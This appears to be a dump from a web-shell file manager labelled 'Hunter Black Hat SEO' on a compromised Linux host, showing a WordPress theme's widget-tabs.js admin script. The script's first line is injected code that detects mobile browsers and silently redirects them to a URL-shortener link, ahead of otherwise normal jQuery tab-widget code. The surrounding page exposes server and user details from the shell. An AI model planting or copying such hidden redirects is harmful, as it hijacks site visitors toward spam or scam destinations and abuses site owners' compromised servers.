Hunter Black Hat SEO
Server:LiteSpeed
System:Linux quebec.us.hostns.io 5.14.0-687.42.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 27 11:55:12 EDT 2026 x86_64
User:gazetufm (1431)
PHP:8.1.35
Disabled:NONE
Upload Files
File: //home2/gazetufm/www/wp/wp-content/themes/smart-mag/admin/js/widget-tabs.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
jQuery(function($) {
	
	$('.widget-liquid-right').on('click', '#add-more-tabs', function(e) {

		// current tabs count
		var tabs_count = $(this).parent().data('bunyad_tabs') || 0;
		if (tabs_count === 0) {
			tabs_count = $(this).parent().parent().find('.title').length;
		}

		if (tabs_count >= 6) { 
			alert('Woah, slow down. Do you really wish to be adding that many tabs?');
		}
		
		tabs_count++;

		// get our template and modify it
		var html = $(this).parent().parent().find('.template-tab-options').html();
		
		if (typeof e.data == 'object') {
			// template replace
			//for (i in e.data) {
			//	html.replace('%' + i + '%', e.data[i]);
			//}
		}
		

		html = $(html);
		html.find('label span').html(tabs_count);
		
		$(this).parent().before(html);

		// update counter
		$(this).parent().data('bunyad_tabs', tabs_count);
		
		e.stopPropagation();
		return false;
	});
});